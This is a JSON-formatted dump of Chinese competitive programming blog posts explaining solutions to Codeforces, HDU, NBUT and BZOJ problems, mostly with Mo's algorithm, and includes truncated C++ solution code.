79 pos[i] = (i-1)/siz; 80 a[i] = b[i]; 81 } 82 83 sort(b+1,b+n+1); //离散化 84 int t = unique(b+1,b+n+1)-b-1; 85 for ( int i = 1 ; i \u003c= n ; i++) a[i]=lower_bound(b+1,b+t+1,a[i])-b; 86 87 scanf(\"%d\",\u0026m); 88 for ( i","date":"2016-02-17","externalUrl":null,"permalink":"/2016/02/nbut1457/","section":"Posts","summary":"https://ac.2333.moe/Problem/view.xhtml?id=1457 题意：求一段区间内数字个数的立方和。 思路：由于一共才1E5,而数字1E9,所以先离散化，再莫队，类似小z的袜子。 注意 ：%lld会WA,要用%I64d","tags":["算法竞赛"],"title":"nbut 1457 Sona","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=5145 题意：有n个女孩，编号1..n,第i个女孩在第a[i]个教室,m次访问，每次访问编号[L,R]的女孩，处于同一个教室的女孩一次只能访问一个，问有多少种访问方案。两个不同的方案当且仅当访问的顺序有所不同。 思路：正好刚刚听完学堂在线上的组合数学的那一节，讲到有重复元素的不重复排列的个数的计算方法：可以先将所有元素看成不重复，再除以每个元素的重复度的阶乘（重复度定义为每个元素个数）。 # 增加一个元素的影响是，乘一个增加的长度，并且除以该元素的重复度（因为每增加一个元素就要除以以此重复度，那么当同一元素c增加到第i次时，除以的就是i的阶乘），减少一个元素的影响正相反。 两种改变都可以O(1)实现，因此可以上莫队。 # 之前要预处理下逆元。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月17日 星期三 14时20分01秒 4File Name :code/hdu/5145.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=3E5+7; 34const int MOD =1E9+7; 35int n,m; 36int a[N]; 37int pos[N]; 38LL ny[N]; 39LL p; 40LL num; 41int ans[N]; 42int cnt[N]; 43 44struct node 45{ 46 int l,r; 47 int id; 48 49 bool operator \u003c(node b)const 50 { 51 if (pos[l]==pos[b.l]) return r\u003cb.r; 52 return pos[l]\u003cpos[b.l]; 53 } 54}q[N]; 55 56LL ksm(LL a,LL b) 57{ 58 LL res = 1LL; 59 while (b) 60 { 61 if (b\u00261) 62 res =(res*a)%MOD; 63 b = b\u003e\u003e1; 64 a = (a*a)%MOD; 65 } 66 return res; 67 68} 69 70 71void update(int x,int d) 72{ 73 if (d\u003e0) 74 { 75 num++; 76 p = (p*num)%MOD; 77 cnt[a[x]]++; 78// if (cnt[a[x]]\u003e3E4) return; 79 p = (p*ny[cnt[a[x]]])%MOD; 80 } 81 else 82 { 83 84 p","date":"2016-02-17","externalUrl":null,"permalink":"/2016/02/hdu5145/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=5145 题意：有n个女孩，编号1..n,第i个女孩在第a[i]个教室,m次访问，每次访问编号[L,R]的女孩，处于同一个教室的女孩一次只能访问一个，问有多少种访问方案。两个不同的方案当且仅当访问的顺序有所不同。","tags":["组合数学","莫队算法","计数问题","逆元"],"title":"hdu 5145 NPY and girls","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/617/problem/E 题意：给出n个数，m个查询，每个查询给定l,r，问在区间【l,r】内，有多少对i,j,满足i^(i+1)^(i+2)^…^j的值为给定的常数k. 思路：学了莫队算法以后。。。这题果然是莫队的一眼题。 入手点是，知道异或也像加一样有前缀和性质。如果我们处理一个按照异或规则的前缀和数组sum[i]=sum[i-1]^a[i]，那么i到j的异或和就是sum[i-1]^sum[j] （x^x==0,因此a[1]到a[i-1]的异或和被去掉了） 因此我们要找的就是区间内有多对i,j满足sum[i-1]^sum[j]==k,也就是sum[i-1]==k^sum[j]这和hdu 5213 a=k-b有如此类似的形式，做法也是类似的。 由于对于每个j，找的是i-1,在处理的时候记得将区间左端点-1， 最重要的一点是，莫队的添加和删除操作最好分开写，至少根据d的正负写个if else,因为顺序不一定相同。 # 最后一个注意的是，可能会爆int ,所以要用long long 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月13日 星期六 21时47分47秒 4File Name :code/cf/#340/E.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=3E6+7; 34int n,m,k; 35int siz; 36LL a[N]; 37LL sum[N]; 38int pos[N]; 39LL cur; 40LL cnt[N]; 41LL ans[N]; 42 43struct node 44{ 45 int l,r; 46 int id; 47 48 bool operator \u003c(node b)const 49 { 50 if (pos[l]==pos[b.l]) 51 return r\u003cb.r; 52 return pos[l]\u003cpos[b.l]; 53 } 54}q[N]; 55 56 57void update ( int x,int d) 58{ 59 60 /* cnt[sum[x]]+=d; 61 // if (sum[x]^k\u003e3E7) return; 62 // cout\u003c\u003c\"pp:\"\u003c\u003cpp\u003c\u003cendl; 63 cur = cur + d*(cnt[sum[x]^k]); */ 64 if (d\u003e0) 65 { 66// cnt[sum[x]]++; 67 cur +=cnt[sum[x]^k]; 68 cnt[sum[x]]++; //两种更新的","date":"2016-02-15","externalUrl":null,"permalink":"/2016/02/cf617e/","section":"Posts","summary":"http://codeforces.com/contest/617/problem/E 题意：给出n个数，m个查询，每个查询给定l,r，问在区间【l,r】内，有多少对i,j,满足i^(i+1)^(i+2)^…^j的值为给定的常数k.","tags":["前缀和","莫队算法"],"title":"codeforces #340 div 2 E XOR and Favorite Number","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=5213 题意：n个数，m个查询，每个查询由4个数l1,r1,l2,r2构成，询问分别从[l1,r1]和[l2,r2]中各取一个数，和为给定的常数k的方案数。 思路：首先分别由两个区间取数不好搞，我们可以用容斥原理对区间变换。这是这道题最关键的一步。 官方题解：这道题需要一些莫队算法的知识 定义记号f(A,B)f(A,B)表示询问区间A，B时的答案 用记号＋表示集合的并 利用莫队算法我们可以计算出任意f(A,A)f(A,A)的值 不妨假设A=[l1,r1],B=[l2,r2],C=[r1+1,l2-1]A=[l1,r1],B=[l2,r2],C=[r1+1,l2−1]容易知道（并没有很容易）f(A,B)=f(A+B+C,A+B+C)+f(C,C)-f(A+C,A+C)-f(C+B,C+B)f(A,B)=f(A+B+C,A+B+C)+f(C,C)−f(A+C,A+C)−f(C+B,C+B) 因此一个询问被拆成四个可以用莫队算法做的询问 总的时间复杂度为O(msqrt(n))O(msqrt(n)) 然后就是莫队算法的内容**。值得一提的是，被拆成的四个子询问不必做四次莫队，可以合在一起，因为每一次询问对答案的贡献都不会受顺序影响，而且这样用时更短。** 然后初始构造的时候用构造函数比赋值要方便许多。 还要记得多组数据记得清空各种数组。。。（因为忘记清空ans数组wa到死。。。） 最最关键的是，对于求两个数a+b==k这类问题（不一定是加，就是和两个数满足一个关系的时候），我们可以转换思维。a==k-b.也就是统计的时候是cnt[b]++,更新答案的时候，由于现在是b,我需要找有多少个a，也就是多少个k-b,所以是ans+=cnt[k-b];（要注意保证k-b\u003e0) # 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月14日 星期日 09时50分10秒 4File Name :code/hdu/5213.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=6E4+7; 34int a[N]; 35int n,k; 36int m; 37int sum; 38int ans[N]; 39int pos[N]; 40int cnt[N]; 41struct node 42{ 43int l,r; 44int add; 45int id; 46node(){} 47node(int a,int b,int c,int d){l=a,r=b,add=c,id = d;} 48bo","date":"2016-02-15","externalUrl":null,"permalink":"/2016/02/hdu5213/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=5213 题意：n个数，m个查询，每个查询由4个数l1,r1,l2,r2构成，询问分别从[l1,r1]和[l2,r2]中各取一个数，和为给定的常数k的方案数。","tags":["分块","容斥原理","莫队算法"],"title":"hdu 5213 lucky （莫队算法）","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/220/problem/B 题意：n个数，m个查询区间，对于每一个区间[l,r]输出区间中cnt[x]==x的数的个数。 # 思路：首先，a[i]很大。。。但是n最大才1e5…每个a[i]最多出现1E5次。。所以对于大于1E5的a[i]对答案没有贡献。其次，上莫队算法。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月14日 星期日 00时47分18秒 4File Name :code/cf/problem/220B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34 35int n,m; 36int a[N]; 37int pos[N]; 38int sum; 39int ans[N]; 40int cnt[N]; 41 42struct node 43{ 44 int l,r; 45 int id; 46 47 bool operator\u003c(node b)const 48 { 49 if (pos[l]==pos[b.l]) return r\u003cb.r; 50 return pos[l]\u003cpos[b.l]; 51 } 52}q[N]; 53 54 55void update( int x,int d) 56{ 57 58 if (a[x]\u003e100000) return; 59 if (cnt[a[x]]==a[x]) sum--; 60 cnt[a[x]]+=d; 61 if (cnt[a[x]]==a[x]) sum++; 62 63 // cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\" d:\"\u003c\u003cd\u003c\u003c\" sum:\"\u003c\u003csum\u003c\u003cendl; 64 65} 66int main() 67{ 68 #ifndef ONLINE_JUDGE 69 freopen(\"code/in.txt\",\"r\",stdin); 70 #endif 71 72 cin\u003e\u003en\u003e\u003em; 73 ms(pos,-1); 74 ms(cnt,0); 75 int siz = int(sqrt(n)); 76 for ( int i = 1 ; i \u003c= n ; i++) 77 { 78 scanf(\"%d\",\u0026a[i]); 79 pos[i] = (i-1)/siz; 80 } 81 82 for ( int i = 1 ;i \u003c= m ; i++) 83 { 84 scanf(\"%d %d\",\u0026q[i].l,\u0026q[i].r); 85 q[i].id = i ; 86 } 87 sort(q+1,q+m+1)","date":"2016-02-13","externalUrl":null,"permalink":"/2016/02/codeforces-220-b-little-elephant-and-array/","section":"Posts","summary":"http://codeforces.com/contest/220/problem/B 题意：n个数，m个查询区间，对于每一个区间[l,r]输出区间中cnt[x]==x的数的个数。 # 思路：首先，a[i]很大。。。但是n最大才1e5…每个a[i]最多出现1E5次。。所以对于大于1E5的a[i]对答案没有贡献。其次，上莫队算法。","tags":["分块","莫队算法"],"title":"codeforces 220 B. Little Elephant and Array","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/86/D # 题意：Ks为区间内s的数目，求区间[L,R]之间所有KsKss的和 # 思路：莫队算法，和小z的袜子差不多。不明白第一次tle#54是什么情况。把每一块的大小改成了常数之后就过了。 # 再交一遍就过了。。不过貌似根据最大数据把siz大小设置成一个常数比根号n要块很多== 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月13日 星期六 23时17分58秒 4File Name :code/cf/problem/86D.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E5+7; 34int t,n; 35int a[N]; 36int pos[N]; 37LL sum; 38LL ans[N]; 39struct node 40{ 41 int l,r; 42 int id; 43 44 bool operator \u003c(node b)const 45 { 46 if (pos[l]==pos[b.l]) return r\u003cb.r; 47 return pos[l]\u003cpos[b.l]; 48 } 49 50}q[N]; 51 52int cnt[N*5]; 53 54 55void update(int x,int d) 56{ 57 sum -= 1LL*cnt[a[x]]*cnt[a[x]]*a[x]; 58 cnt[a[x]]+=d; 59 sum += 1LL*cnt[a[x]]*cnt[a[x]]*a[x]; 60} 61int main() 62{ 63 #ifndef ONLINE_JUDGE 64 freopen(\"code/in.txt\",\"r\",stdin); //TLE #54....WHY? 65 #endif 66 67 cin\u003e\u003en\u003e\u003et; 68 int bk = 470; 69 for ( int i = 1 ; i \u003c= n ; i++) 70 { 71 scanf(\"%d\",\u0026a[i]); 72 pos[i]=(i-1)/bk; 73 } 74 75 for ( int i = 1 ; i \u003c= t ; i++) scanf(\"%d %d\",\u0026q[i].l,\u0026q[i].r),q[i].id = i ; 76 sort(q+1,q+t+1); 77 78 int pl = 1; 79 int pr = 0; 80 int id; 81 int l; 82 int r; 83 ms(cnt,0); 84 sum = 0; 8","date":"2016-02-13","externalUrl":null,"permalink":"/2016/02/cf86d/","section":"Posts","summary":"http://codeforces.com/problemset/problem/86/D # 题意：Ks为区间内s的数目，求区间[L,R]之间所有KsKss的和 # 思路：莫队算法，和小z的袜子差不多。不明白第一次tle#54是什么情况。把每一块的大小改成了常数之后就过了。 # 再交一遍就过了。。不过貌似根据最大数据把siz大小设置成一个常数比根号n要块很多==","tags":["分块","莫队算法"],"title":"codeforces 86 D. Powerful array  （莫队算法）","type":"post"},{"categories":["ACM"],"content":"2038: [2009国家集训队]小Z的袜子(hose) Time Limit: 20 Sec Memory Limit: 259 MB Submit: 5327 Solved: 2461 [Submit][Status][Discuss] Description 作为一个生活散漫的人，小Z每天早上都要耗费很久从一堆五颜六色的袜子中找出一双来穿。终于有一天，小Z再也无法忍受这恼人的找袜子过程，于是他决定听天由命…… 具体来说，小Z把这N只袜子从1到N编号，然后从编号L到R(L 尽管小Z并不在意两只袜子是不是完整的一双，甚至不在意两只袜子是否一左一右，他却很在意袜子的颜色，毕竟穿两只不同色的袜子会很尴尬。 你的任务便是告诉小Z，他有多大的概率抽到两只颜色相同的袜子。当然，小Z希望这个概率尽量高，所以他可能会询问多个(L,R)以方便自己选择。 Input 输入文件第一行包含两个正整数N和M。N为袜子的数量，M为小Z所提的询问的数量。接下来一行包含N个正整数Ci，其中Ci表示第i只袜子的颜色，相同的颜色用相同的数字表示。再接下来M行，每行两个正整数L，R表示一个询问。 Output 包含M行，对于每个询问在一行中输出分数A/B表示从该询问的区间[L,R]中随机抽出两只袜子颜色相同的概率。若该概率为0则输出0/1，否则输出的A/B必须为最简分数。（详见样例） Sample Input 6 4 1 2 3 3 3 2 2 6 1 3 3 5 1 6 Sample Output 2/5 0/1 1/1 4/15 【样例解释】 询问1：共C(5,2)=10种可能，其中抽出两个2有1种可能，抽出两个3有3种可能，概率为(1+3)/10=4/10=2/5。 询问2：共C(3,2)=3种可能，无法抽到颜色相同的袜子，概率为0/3=0/1。 询问3：共C(3,2)=3种可能，均为抽出两个3，概率为3/3=1/1。 注：上述C(a, b)表示组合数，组合数C(a, b)等价于在a个不同的物品中选取b个的选取方案数。 【数据规模和约定】 30%的数据中 N,M ≤ 5000； 60%的数据中 N,M ≤ 25000； 100%的数据中 N,M ≤ 50000，1 ≤ L \u003c R ≤ N，Ci ≤ N。 中文题目，不解释了。 思路：分块+莫队算法。http://blog.csdn.net/bossup/article/details/39236275 这篇博客讲得很清楚。看完之后自己写的。。调了大概两个小时。。。？感觉有些理解了。 注意的是，如果最后分子为0，那么分母要赋值成1，而且分子为0的时候不要去求gcd… 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月10日 星期三 15时06分20秒 4File Name :code/bzoj/2038.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps","date":"2016-02-10","externalUrl":null,"permalink":"/2016/02/bzoj-2038/","section":"Posts","summary":"2038: [2009国家集训队]小Z的袜子(hose) Time Limit: 20 Sec Memory Limit: 259 MB Submit: 5327 Solved: 2461 [Submit][Status][Discuss] Description","tags":["分块","莫队算法"],"title":"（莫队算法的学习）bzoj 2038  [2009国家集训队]小Z的袜子(hose)","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/625/problem/D 题意：问能否找到一个s,满足s+s的反转=k 思路：如果是回文数。。。那么显然满足。除以2就可以得到答案。 1 如果不是回文数。。那么考虑进位的情况。 2 要么从后一位进1，要么从前一位退10回来。 3 需要特殊考虑1开头的。 4 5 6 7/* *********************************************** 8Author :111qqz 9Created Time :2016年02月07日 星期日 18时28分39秒 10File Name :code/cf/#342/D.cpp 11************************************************ */ 12 13#include \u003ccstdio\u003e 14#include \u003ccstring\u003e 15#include \u003ciostream\u003e 16#include \u003calgorithm\u003e 17#include \u003cvector\u003e 18#include \u003cqueue\u003e 19#include \u003cset\u003e 20#include \u003cmap\u003e 21#include \u003cstring\u003e 22#include \u003ccmath\u003e 23#include \u003ccstdlib\u003e 24#include \u003cctime\u003e 25#include \u003csstream\u003e 26#define fst first 27#define sec second 28#define lson l,m,rt\u003c\u003c1 29#define rson m+1,r,rt\u003c\u003c1|1 30#define ms(a,x) memset(a,x,sizeof(a)) 31typedef long long LL; 32#define pi pair \u003c int ,int \u003e 33#define MP make_pair 34 35using namespace std; 36const double eps = 1E-8; 37const int dx4[4]={1,0,0,-1}; 38const int dy4[4]={0,-1,1,0}; 39const int inf = 0x3f3f3f3f; 40const int N=1E5+7; 41bool vis[N]; 42 43void pre() 44{ 45 ms(vis,false); 46 for ( int i = 10 ; i \u003c12000 ; i++) 47 { 48 int vala = i ; 49 stringstream ss; 50 ss\u003c\u003cvala; 51 string tmp = ss.str(); 52 53 reverse(tmp.begin(),tmp.end()); 54 55 int valb; 56 sscanf(tmp.c_str(),\"%d\",\u0026valb); 57// cout\u003c\u003ci\u003c\u003c\" \"\u003c\u003cvala+valb\u003c\u003cendl; 58 if (vala+valb\u003cN) vis[vala+valb] = true; 59 60 } 61 62 for ( int i = 1 ; i \u003c N ; i++) 63 { 64 if (vis[i]) cout\u003c\u003ci\u003c\u003cendl; 65 } 66} 67char ans[N],s[N]; 68int n; 69int sum[N]; 70 71bool ok() 72{ 73 // cout\u003c\u003c\"n:\"\u003c\u003cn\u003c\u003cendl; 74 for ( int i = 0 ; i \u003c n/2 ;) 75 { 76 int l = i ; 77 int r = n-1-i; 78 if (sum[l]==sum[r]) i++; 79 else if (sum[l]==sum[r]+1||sum[l]==sum[r]+11) 80 { 81 sum[l]--; 82 sum[l+1]+=10; 83 } 84 else if (sum[l]==sum[r]+10) 85 { 86 sum[r-1]--; 87 sum[r]+=10; 88 89 } 90 else return false","date":"2016-02-08","externalUrl":null,"permalink":"/2016/02/cf625d/","section":"Posts","summary":"http://codeforces.com/contest/625/problem/D 题意：问能否找到一个s,满足s+s的反转=k 思路：如果是回文数。。。那么显然满足。除以2就可以得到答案。","tags":["构造"],"title":"codeforces #342 div 2 D. Finals in arithmetic","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/621/E # 题意：有b组数，每组数均有n个且相同。你必须在每组选一个数，组成一个新数sum，使得sum % x == k，问方案数 % (1e9+7)。 思路：数位dp.首先考虑b不是很大的一般情况。dp[i][j]表示处理到前i个块的时候结果为j的方案数。那么转移方程就是：**dp[i][(j_10+t)%x] = dp[i-1][j]_cnt[t] ** cnt[i]表示数字i出现的个数。 但是由于b很大（1E9）,所以需要用矩阵加速。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月08日 星期一 16时24分34秒 4File Name :code/cf/#341/E.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const LL MOD=1E9+7; 34int n,b,k,X; 35struct Matrix 36{ 37 LL a[110][110]; 38 39}; 40 41void add(LL \u0026x,LL y) 42{ 43 x += y; 44 x %= MOD; 45} 46Matrix multi(Matrix x,Matrix y ) //矩阵乘法。 47{ 48 Matrix z; 49 ms(z.a,0LL); 50 for ( int i = 0 ; i \u003c X ;i++) 51 { 52 for ( int k = 0 ; k \u003c X ; k++) 53 { 54 if (x.a[i][k]==0) continue; 55 for ( int j = 0 ; j \u003c X ; j++) 56 add(z.a[i][j],x.a[i][k]*y.a[k][j]); 57 58 } 59 } 60 return z; 61} 62 63Matrix Pow(Matrix x,int n) //矩阵快速幂 64{ 65 Matrix y; 66 ms(y.a,0LL); 67 for ( int i = 0 ; i \u003c X ; i++) y.a[i][i] = 1LL; 68 while (n) 69 { 70 if (n\u00261) 71 y = multi(x,y); 72 x = multi(x,x); 73 n \u003e\u003e=1; 74 } 75 return y; 76} 77 78int cnt[20]; 79int main() 80{ 81 #ifndef ONLINE_JUDGE 82 freopen(\"code/in.txt\",\"r\",stdi","date":"2016-02-08","externalUrl":null,"permalink":"/2016/02/cf621e/","section":"Posts","summary":"http://codeforces.com/problemset/problem/621/E # 题意：有b组数，每组数均有n个且相同。你必须在每组选一个数，组成一个新数sum，使得sum % x == k，问方案数 % (1e9+7)。","tags":["dp","快速幂","数位dp","矩阵"],"title":"codeforces #341 div 2 E. Wet Shark and Blocks  (数位dp+矩阵加速)","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/621/problem/D # 题意：给出12个式子，问哪个最大。 思路：主要记住两个。一个是比较指数形式的数一个常用办法是取对数，同时要考虑是否能取对数，分情况讨论对于不能取对数的情况经过变换去取对数。第二个是取了两次对数后比较时候的最大值可能是小于0的。所以初始时置于0不够小。官方题解说得很清楚。 The tricky Rat Kwesh has finally made an appearance; it is time to prepare for some tricks. But truly, we didn’t expect it to be so hard for competitors though. Especially the part about taking log of a negative number. We need a way to deal with x__y__z and x__yz. We cannot directly compare them, 200200200 is way too big. So what we do? Take log! is an increasing function on positive numbers (we can see this by taking , then , which is positive when we are dealing with positive numbers). So if , then x ≥ y. When we take log, But y__z can still be 200200, which is still far too big. So now what can we do? Another log! But is it legal? When x = 0.1 for example, , so we cannot take another log. When can we take another log, however? We need to be a positive number. y__z will always be positive, so all we need is for to be positive. This happens when x \u003e 1. So if_x_, y, z \u003e 1, everything will be ok. There is another good observation to make. If one of x, y, z is greater than 1, then we can always achieve some expression (out of those 12) whose value is greater than 1. But if x \u003c 1, then x__a will never be greater than 1. So if at least one of x, y, z is greater than 1, then we can discard those bases that are less than or equal to 1. In this case, . Remember that , so . Similarly, . The last case is when x ≤ 1, y ≤ 1, z ≤ 1. Then, notice that for example, . But the denominator of this fraction is something we recognize, because 10 / 3 \u003e 1. So if all x, y, z \u003c 1, then it is the same as the original problem, except we are looking for the minimum this time. 1/* ************************************","date":"2016-02-07","externalUrl":null,"permalink":"/2016/02/cf621d/","section":"Posts","summary":"http://codeforces.com/contest/621/problem/D # 题意：给出12个式子，问哪个最大。 思路：主要记住两个。一个是比较指数形式的数一个常用办法是取对数，同时要考虑是否能取对数，分情况讨论对于不能取对数的情况经过变换去取对数。第二个是取了两次对数后比较时候的最大值可能是小于0的。所以初始时置于0不够小。官方题解说得很清楚。","tags":["math"],"title":"codeforces #341 div 2 D. Rat Kwesh and Cheese","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/625/problem/C 题意：构造一个矩阵。。满足三个条件。。。 思路：简单构造。。。看代码把。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月07日 星期日 17时49分15秒 4File Name :code/cf/#342/C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=5E2+7; 34 35int n; 36int k; 37int ans[N][N]; 38int main() 39{ 40 #ifndef ONLINE_JUDGE 41 freopen(\"code/in.txt\",\"r\",stdin); 42 #endif 43 44 cin\u003e\u003en\u003e\u003ek; 45 int cnt = 0; 46 ms(ans,0); 47 for ( int i = 1 ; i \u003c= n ; i++) 48 for ( int j = 1 ; j \u003c= k-1 ; j++) 49 { 50 cnt++; 51 ans[i][j] = cnt; 52 } 53 for ( int i = 1 ; i \u003c= n ;i++) 54 for ( int j = k ; j \u003c=n ;j++) 55 { 56 cnt++; 57 ans[i][j]=cnt; 58 } 59 int sum = 0 ; 60// cout\u003c\u003c\"k:\"\u003c\u003ck\u003c\u003cendl; 61 for ( int i = 1 ; i \u003c= n ; i++) 62 { 63 sum +=ans[i][k]; 64 65 // cout\u003c\u003c\"sum:\"\u003c\u003csum\u003c\u003cendl; 66 } 67 68 cout\u003c\u003csum\u003c\u003cendl; 69 for ( int i = 1 ; i \u003c= n ; i++) 70 { 71 for ( int j = 1 ; j \u003c= n-1 ; j++) 72 { 73 printf(\"%d \",ans[i][j]); 74 } 75 printf(\"%d\\n\",ans[i][n]); 76 } 77 78 #ifndef ONLINE_JUDGE 79 fclose(stdin); 80 #endif 81 return 0; 82}","date":"2016-02-07","externalUrl":null,"permalink":"/2016/02/cf625c/","section":"Posts","summary":"http://codeforces.com/contest/625/problem/C 题意：构造一个矩阵。。满足三个条件。。。 思路：简单构造。。。看代码把。。。。","tags":["构造"],"title":"codeforces #342 div 2 C. K-special Tables","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/625/problem/B 题意：给出两个字符串，问要替换掉多少个字符才能使得前者中不包含后者。 思路：直接搞…找到一个把收尾替换成‘#’,然后下次从该位置继续开始找，直到找不到。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月07日 星期日 17时31分33秒 4File Name :code/cf/#342/B.cpp 